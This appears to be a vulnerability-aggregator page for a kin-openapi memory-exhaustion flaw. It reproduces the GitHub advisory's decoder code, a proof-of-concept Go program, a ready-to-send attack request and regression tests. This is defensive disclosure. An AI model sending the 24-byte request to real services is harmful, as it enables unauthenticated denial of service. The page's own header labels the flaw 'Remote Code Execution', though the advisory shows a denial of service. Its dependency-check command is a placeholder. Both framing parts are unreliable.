CVE-2026-77354: Github.com/getkin/kin openapi Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-xhj3-7xw9-vr34
CWE-789 CWE-400
Published
Advisory Summary

CVE-2026-77354 is a HIGH remote code execution vulnerability (CWE-789: Memory Allocation with Excessive Size Value) affecting Github.com/getkin/kin openapi libraries in the Go ecosystem. The issue involves kin-openapi has uncontrolled resource consumption in openapi3filter deepobject query parameter decoding. Remediation is available by upgrading affected packages to version 0.142.0.

CVE-2026-77354 at a Glance

CVE Identifier CVE-2026-77354
GHSA Identifier GHSA-xhj3-7xw9-vr34
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-789: Memory Allocation with Excessive Size Value
Affected Product Github.com/getkin/kin openapi
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-77354

To remediate this vulnerability, upgrade all affected Github.com/getkin/kin openapi dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/getkin/kin-openapi fixed: 0.142.0
Upgrade github.com/getkin/kin-openapi to 0.142.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/getkin/kin-openapi

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-77354, inspect your project dependencies for Github.com/getkin/kin openapi:

inspect dependencies for github.com/getkin/kin-openapi

Analyze the terminal output to locate any version of Github.com/getkin/kin openapi in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.142.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-789: Memory Allocation with Excessive Size Value, where the product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. In Github.com/getkin/kin openapi, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the **largest attacker-supplied index** and allocating one slot for every position from `0` up to that index — *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to **~6.1 GiB**, reliably triggering an OOM kill / restart loop on memory-constrained services. ### Details The OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a&param[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in [`sliceMapToSlice`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L936): ```go // req_resp_decoder.go (vulnerable version) func sliceMapToSlice(m map[string]any) ([]any, error) { var result []any keys := make([]int, 0, len(m)) for k := range m { key, err := strconv.Atoi(k) // "50000000" -> 50000000, attacker-controlled if err != nil { return nil, fmt.Errorf("array indexes must be integers: %w", err) } keys = append(keys, key) } max := -1 for _, k := range keys { if k > max { max = k // max = attacker's index, unbounded } } for i := 0; i <= max; i++ { // <-- unbounded loop, 0 .. max val, ok := m[strconv.Itoa(i)] if !ok { result = append(result, nil) // fills every sparse hole with nil continue } result = append(result, val) } return result, nil } ``` A second, equally-sized allocation follows immediately in [`buildResObj`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L986): ```go resultArr := make([]any /*not 0,*/, len(arr)) // second allocation, size = max+1 for i := range arr { r, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items) ... } ``` So a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps — with **no upper bound** other than `strconv.Atoi`'s `int` range (~9.2×10¹⁸ on 64-bit) and available memory. **Why `maxItems` does not help.** `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented. **Why this is deepObject-specific.** Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no "index" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at [`:479`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L479), [`:777`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L777), [`:841`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L841)) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` ([`:661-687`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L661)) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude. **Preconditions.** The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array. **Introduced in.** `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit [`78bb273`](https://github.com/getkin/kin-openapi/commit/78bb273e5892da3b0c8fc31857499449adfaba6c) ("openapi3filter: deepObject array of objects and array of arrays support (#923)", merged 2024-03-22), which first shipped in **`v0.124.0`**. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path. ### PoC Verified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`. **1. Spec** — one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help): ```yaml openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /q: get: parameters: - name: param in: query style: deepObject explode: true schema: type: object properties: items: type: array maxItems: 3 items: {type: string} responses: '200': {description: ok} ``` **2. Program** — build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router → `openapi3filter.ValidateRequest`) any real HTTP server uses: ```go package main import ( "context" "fmt" "net/http" "runtime" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const spec = ` openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /q: get: parameters: - name: param in: query style: deepObject explode: true schema: type: object properties: items: type: array maxItems: 3 items: {type: string} responses: '200': {description: ok} ` func main() { loader := openapi3.NewLoader() doc, _ := loader.LoadFromData([]byte(spec)) _ = doc.Validate(loader.Context) router, _ := gorillamux.NewRouter(doc) // Attacker-controlled index. A 24-byte query string is enough to force // materialization of a 50-million-element slice. const rawQuery = "param[items][50000000]=x" r, _ := http.NewRequest(http.MethodGet, "/q?"+rawQuery, nil) route, pp, _ := router.FindRoute(r) var before, after runtime.MemStats runtime.GC() runtime.ReadMemStats(&before) err := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pp, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) runtime.ReadMemStats(&after) fmt.Printf("query string: %q (%d bytes)\n", rawQuery, len(rawQuery)) fmt.Printf("heap allocated during ValidateRequest: %.1f MiB\n", float64(after.TotalAlloc-before.TotalAlloc)/(1<<20)) fmt.Printf("ValidateRequest error: %v\n", err) } ``` **3. Observed output** (`go run .`, unpatched tree, re-verified in this pass): ``` query string: "param[items][50000000]=x" (24 bytes) heap allocated during ValidateRequest: 6231.1 MiB ValidateRequest error: parameter "param" in query has an error: Error at "/items": maximum number of items is 3 ``` A **24-byte query string drove ~6.1 GiB of heap allocation** in a single call, and the returned error is the `maxItems` rejection — proof that the array was fully materialized *before* validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision): | Query string | Wire size | Heap allocated | Amplification | |---|---|---|---| | `param[items][10000]=x` | 21 B | 0.9 MiB | ~44,000× | | `param[items][100000]=x` | 22 B | 11.1 MiB | ~529,000× | | `param[items][1000000]=x` | 23 B | 114 MiB | ~5,200,000× | | `param[items][5000000]=x` | 23 B | 555 MiB | ~25,300,000× | | `param[items][50000000]=x` | 24 B | **6.1 GiB** | ~272,000,000× | **Attack request** (nothing else required — no body, no auth, no unusual headers): ``` GET /whatever?param[items][50000000]=x HTTP/1.1 Host: victim ``` **Control (confirms only deepObject is a vector):** repeating the equivalent "large array" attempt against `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data` bodies, and non-deepObject `path`/`header`/`cookie` styles stays under ~27 KiB in every case. **4. Regression/scaling test suite** — a broader harness driving the same public entry point, adding the ordering proof (`TestC02_AllocationBeforeValidation`), the nested-index amplifier, and the cross-encoding controls referenced above. Save as `openapi3filter/zzz_c02_verify_test.go` and run with `C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v` (unset `C02_BIG` to skip the two largest, slower indexes): ```go package openapi3filter_test import ( "bytes" "fmt" "mime/multipart" "net/http" "net/url" "os" "runtime" "strings" "testing" "github.com/stretchr/testify/require" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) // measureAlloc runs fn and reports the number of bytes of heap it caused to be // allocated (TotalAlloc delta), which counts even memory that was already freed // by the time fn returned. This captures transient allocation spikes. func measureAlloc(fn func()) uint64 { var before, after runtime.MemStats runtime.GC() runtime.ReadMemStats(&before) fn() runtime.ReadMemStats(&after) return after.TotalAlloc - before.TotalAlloc } const c02Spec = ` openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /q: get: parameters: - name: param in: query style: deepObject explode: true schema: type: object properties: items: type: array maxItems: 3 items: {type: string} responses: '200': {description: ok} ` func c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) { t.Helper() loader := openapi3.NewLoader() ctx := loader.Context doc, err := loader.LoadFromData([]byte(c02Spec)) require.NoError(t, err) require.NoError(t, doc.Validate(ctx)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) validate := func(rawquery string) error { req, err := http.NewRequest(http.MethodGet, "/q?"+rawquery, nil) require.NoError(t, err) route, pathParams, err := router.FindRoute(req) require.NoError(t, err) return openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) } return doc, validate } // TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single // tiny deepObject query with a large array index. func TestC02_Reproduce_MemoryExhaustion(t *testing.T) { _, validate := c02Router(t) base := measureAlloc(func() { _ = validate("param[items][0]=a&param[items][1]=b&param[items][2]=c") }) t.Logf("baseline (3 legit items): %s allocated", humanBytes(base)) indexes := []int{10_000, 100_000, 1_000_000} if os.Getenv("C02_BIG") == "1" { indexes = append(indexes, 5_000_000, 50_000_000) } const fixThreshold = 32 << 20 // 32 MiB: no fixed-tree request should approach this worst := uint64(0) for _, idx := range indexes { q := fmt.Sprintf("param[items][%d]=x", idx) alloc := measureAlloc(func() { err := validate(q) require.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln) }) if alloc > worst { worst = alloc } ratio := float64(alloc) / float64(len(q)) t.Logf("index=%-10d query=%dB -> %s allocated (%.0fx over the query size)", idx, len(q), humanBytes(alloc), ratio) } require.Less(t, worst, uint64(fixThreshold), "C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high", humanBytes(worst)) } // TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable // tree the huge allocation happened even though maxItems:3 is declared, proving // materialization precedes schema validation. func TestC02_AllocationBeforeValidation(t *testing.T) { _, validate := c02Router(t) const idx = 2_000_000 q := fmt.Sprintf("param[items][%d]=x", idx) var gotErr error alloc := measureAlloc(func() { gotErr = validate(q) }) require.Error(t, gotErr) t.Logf("index=%d (query %d bytes) allocated %s; error: %v", idx, len(q), humanBytes(alloc), gotErr) // On the vulnerable tree this value was ~225 MiB and this assertion fails, // flagging the regression. On the fixed tree it stays well under 32 MiB. require.Less(t, alloc, uint64(32<<20), "C-02 REGRESSION: index %d allocated %s before rejection", idx, humanBytes(alloc)) } // TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and // urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent // "large index" payload in those encodings does not explode. func TestC02_OnlyDeepObjectAffected(t *testing.T) { spec := ` openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /b: post: requestBody: content: application/json: schema: type: object properties: items: {type: array, maxItems: 3, items: {type: string}} application/x-www-form-urlencoded: schema: type: object properties: items: {type: array, maxItems: 3, items: {type: string}} multipart/form-data: schema: type: object properties: items: {type: array, maxItems: 3, items: {type: string}} responses: '200': {description: ok} ` loader := openapi3.NewLoader() ctx := loader.Context doc, err := loader.LoadFromData([]byte(spec)) require.NoError(t, err) require.NoError(t, doc.Validate(ctx)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) do := func(ct, body string) (error, uint64) { var e error alloc := measureAlloc(func() { req, _ := http.NewRequest(http.MethodPost, "/b", strings.NewReader(body)) req.Header.Set("Content-Type", ct) route, pathParams, rerr := router.FindRoute(req) require.NoError(t, rerr) e = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) return e, alloc } _, jsonAlloc := do("application/json", `{"items":["a","b","c","d"]}`) t.Logf("JSON 4-elem array: %s", humanBytes(jsonAlloc)) require.Less(t, jsonAlloc, uint64(4<<20), "JSON path must not balloon") form := url.Values{} form.Set("items", "a") form.Add("items", "b") _, formAlloc := do("application/x-www-form-urlencoded", form.Encode()) t.Logf("urlencoded repeated field: %s", humanBytes(formAlloc)) require.Less(t, formAlloc, uint64(4<<20), "urlencoded path must not balloon") var buf bytes.Buffer w := multipart.NewWriter(&buf) require.NoError(t, w.WriteField("items", "a")) require.NoError(t, w.WriteField("items", "b")) require.NoError(t, w.Close()) _, mpAlloc := do(w.FormDataContentType(), buf.String()) t.Logf("multipart fields: %s", humanBytes(mpAlloc)) require.Less(t, mpAlloc, uint64(4<<20), "multipart path must not balloon") } // TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points // (path/simple, header/simple, cookie/form). These build props via // propsFromString, whose keys are property names, not bracketed integer // indexes -- so a big number lands as a string key that fails strconv.Atoi // cleanly, without materializing a giant slice. func TestC02_NonDeepObjectStylesSafe(t *testing.T) { spec := ` openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /p/{param}: get: parameters: - name: param in: path required: true style: simple explode: false schema: type: object properties: items: {type: array, maxItems: 3, items: {type: string}} responses: '200': {description: ok} ` loader := openapi3.NewLoader() ctx := loader.Context doc, err := loader.LoadFromData([]byte(spec)) require.NoError(t, err) require.NoError(t, doc.Validate(ctx)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) alloc := measureAlloc(func() { req, _ := http.NewRequest(http.MethodGet, "/p/items,5000000", nil) route, pathParams, rerr := router.FindRoute(req) require.NoError(t, rerr) _ = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) t.Logf("path/simple object with big scalar: %s", humanBytes(alloc)) require.Less(t, alloc, uint64(4<<20), "path/simple must not balloon") } func humanBytes(b uint64) string { const unit = 1024 if b < unit { return fmt.Sprintf("%d B", b) } div, exp := uint64(unit), 0 for n := b / unit; n >= unit; n /= unit { div *= unit exp++ } return fmt.Sprintf("%.1f %ciB", float64(b)/float64(div), "KMGTPE"[exp]) } ``` **Observed output re-run in this pass** (`C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v`): - **Unpatched tree** (fix reverted via `git stash push -- openapi3filter/req_resp_decoder.go`): `TestC02_Reproduce_MemoryExhaustion` reproduced the full scaling table above (10,000 → 937.5 KiB through 50,000,000 → 6.1 GiB), and `TestC02_AllocationBeforeValidation` measured **225.2 MiB** allocated for `index=2,000,000` before the `maxItems` rejection fired — both matching the standalone PoC's findings and failing their bounded-allocation assertions as expected. - **Patched tree** (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and `TestC02_OnlyDeepObjectAffected` / `TestC02_NonDeepObjectStylesSafe` confirm the other encodings and parameter styles were never affected. ### Impact - **Type:** Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) → **unauthenticated remote denial of service**. - **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` to validate requests against a spec that declares an `in: query`, `style: deepObject` parameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec. - **Attack:** a single unauthenticated `GET` request with a small, attacker-chosen query string (as few as ~21–24 bytes). No body, no credentials, no special client tooling, no chunked-encoding or `Content-Length` trickery — the trigger lives entirely in the query string, so request-body size limits do not mitigate it. - **Consequence:** a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB–2 GB), producing an OOM kill / restart loop. The declared `maxItems` constraint on the array does **not** prevent this, because materialization happens during decoding, strictly before schema validation runs. - **Not affected:** specs that do not use `style: deepObject` for array-bearing query parameters; requests via `application/json`, `x-www-form-urlencoded`, or `multipart/form-data` bodies; and `path`/`header`/`cookie` styled object parameters (all verified empirically above, and re-verified in this pass).

CVE-2026-77354 Affected Github.com/getkin/kin openapi Versions

1 component(s)
Fixed Versions:
0.142.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/getkin/kin-openapi
Go
≥ 0.124.0
< 0.142.0
0.142.0

References

Frequently Asked Questions

What is CVE-2026-77354?
CVE-2026-77354 is a security vulnerability in Github.com/getkin/kin openapi involving kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding under CWE-789: Memory Allocation with Excessive Size Value.
Which Github.com/getkin/kin openapi versions are affected?
Affected versions include releases prior to 0.142.0 across affected packages: github.com/getkin/kin-openapi.
What version fixes CVE-2026-77354?
Upgrading to 0.142.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/getkin/kin-openapi affected?
Yes, github.com/getkin/kin-openapi is affected in releases prior to 0.142.0. Upgrade your dependency to 0.142.0 or later.
What CWE is associated with CVE-2026-77354?
CVE-2026-77354 is classified under CWE-789: Memory Allocation with Excessive Size Value (The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.).
How can I check Go dependencies for CVE-2026-77354?
Run the dependency tree command: 'inspect dependencies for github.com/getkin/kin-openapi'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xhj3-7xw9-vr34",
  "modified" : "2026-08-21T20:56:56Z",
  "published" : "2026-08-21T20:56:56Z",
  "aliases" : [ "CVE-2026-77354" ],
  "summary" : "kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding",
  "details" : "### Summary\n\nAn uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the **largest attacker-supplied index** and allocating one slot for every position from `0` up to that index — *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to **~6.1 GiB**, reliably triggering an OOM kill / restart loop on memory-constrained services.\n\n### Details\n\nThe OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a&param[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in [`sliceMapToSlice`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L936):\n\n```go\n// req_resp_decoder.go (vulnerable version)\nfunc sliceMapToSlice(m map[string]any) ([]any, error) {\n\tvar result []any\n\tkeys := make([]int, 0, len(m))\n\tfor k := range m {\n\t\tkey, err := strconv.Atoi(k)          // \"50000000\" -> 50000000, attacker-controlled\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"array indexes must be integers: %w\", err)\n\t\t}\n\t\tkeys = append(keys, key)\n\t}\n\tmax := -1\n\tfor _, k := range keys {\n\t\tif k > max {\n\t\t\tmax = k                          // max = attacker's index, unbounded\n\t\t}\n\t}\n\tfor i := 0; i <= max; i++ {              // <-- unbounded loop, 0 .. max\n\t\tval, ok := m[strconv.Itoa(i)]\n\t\tif !ok {\n\t\t\tresult = append(result, nil)     // fills every sparse hole with nil\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, val)\n\t}\n\treturn result, nil\n}\n```\n\nA second, equally-sized allocation follows immediately in [`buildResObj`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L986):\n\n```go\nresultArr := make([]any /*not 0,*/, len(arr))   // second allocation, size = max+1\nfor i := range arr {\n\tr, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)\n\t...\n}\n```\n\nSo a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps — with **no upper bound** other than `strconv.Atoi`'s `int` range (~9.2×10¹⁸ on 64-bit) and available memory.\n\n**Why `maxItems` does not help.** `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented.\n\n**Why this is deepObject-specific.** Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no \"index\" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at [`:479`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L479), [`:777`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L777), [`:841`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L841)) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` ([`:661-687`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L661)) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude.\n\n**Preconditions.** The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array.\n\n**Introduced in.** `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit [`78bb273`](https://github.com/getkin/kin-openapi/commit/78bb273e5892da3b0c8fc31857499449adfaba6c) (\"openapi3filter: deepObject array of objects and array of arrays support (#923)\", merged 2024-03-22), which first shipped in **`v0.124.0`**. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path.\n\n### PoC\n\nVerified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`.\n\n**1. Spec** — one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help):\n\n```yaml\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        '200': {description: ok}\n```\n\n**2. Program** — build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router → `openapi3filter.ValidateRequest`) any real HTTP server uses:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"runtime\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        '200': {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// Attacker-controlled index. A 24-byte query string is enough to force\n\t// materialization of a 50-million-element slice.\n\tconst rawQuery = \"param[items][50000000]=x\"\n\n\tr, _ := http.NewRequest(http.MethodGet, \"/q?\"+rawQuery, nil)\n\troute, pp, _ := router.FindRoute(r)\n\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(&before)\n\n\terr := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\n\truntime.ReadMemStats(&after)\n\n\tfmt.Printf(\"query string: %q (%d bytes)\\n\", rawQuery, len(rawQuery))\n\tfmt.Printf(\"heap allocated during ValidateRequest: %.1f MiB\\n\", float64(after.TotalAlloc-before.TotalAlloc)/(1<<20))\n\tfmt.Printf(\"ValidateRequest error: %v\\n\", err)\n}\n```\n\n**3. Observed output** (`go run .`, unpatched tree, re-verified in this pass):\n\n```\nquery string: \"param[items][50000000]=x\" (24 bytes)\nheap allocated during ValidateRequest: 6231.1 MiB\nValidateRequest error: parameter \"param\" in query has an error: Error at \"/items\": maximum number of items is 3\n```\n\nA **24-byte query string drove ~6.1 GiB of heap allocation** in a single call, and the returned error is the `maxItems` rejection — proof that the array was fully materialized *before* validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision):\n\n| Query string | Wire size | Heap allocated | Amplification |\n|---|---|---|---|\n| `param[items][10000]=x` | 21 B | 0.9 MiB | ~44,000× |\n| `param[items][100000]=x` | 22 B | 11.1 MiB | ~529,000× |\n| `param[items][1000000]=x` | 23 B | 114 MiB | ~5,200,000× |\n| `param[items][5000000]=x` | 23 B | 555 MiB | ~25,300,000× |\n| `param[items][50000000]=x` | 24 B | **6.1 GiB** | ~272,000,000× |\n\n**Attack request** (nothing else required — no body, no auth, no unusual headers):\n\n```\nGET /whatever?param[items][50000000]=x HTTP/1.1\nHost: victim\n```\n\n**Control (confirms only deepObject is a vector):** repeating the equivalent \"large array\" attempt against `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data` bodies, and non-deepObject `path`/`header`/`cookie` styles stays under ~27 KiB in every case.\n\n**4. Regression/scaling test suite** — a broader harness driving the same public entry point, adding the ordering proof (`TestC02_AllocationBeforeValidation`), the nested-index amplifier, and the cross-encoding controls referenced above. Save as `openapi3filter/zzz_c02_verify_test.go` and run with `C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v` (unset `C02_BIG` to skip the two largest, slower indexes):\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\n// measureAlloc runs fn and reports the number of bytes of heap it caused to be\n// allocated (TotalAlloc delta), which counts even memory that was already freed\n// by the time fn returned. This captures transient allocation spikes.\nfunc measureAlloc(fn func()) uint64 {\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(&before)\n\tfn()\n\truntime.ReadMemStats(&after)\n\treturn after.TotalAlloc - before.TotalAlloc\n}\n\nconst c02Spec = `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        '200': {description: ok}\n`\n\nfunc c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) {\n\tt.Helper()\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(c02Spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvalidate := func(rawquery string) 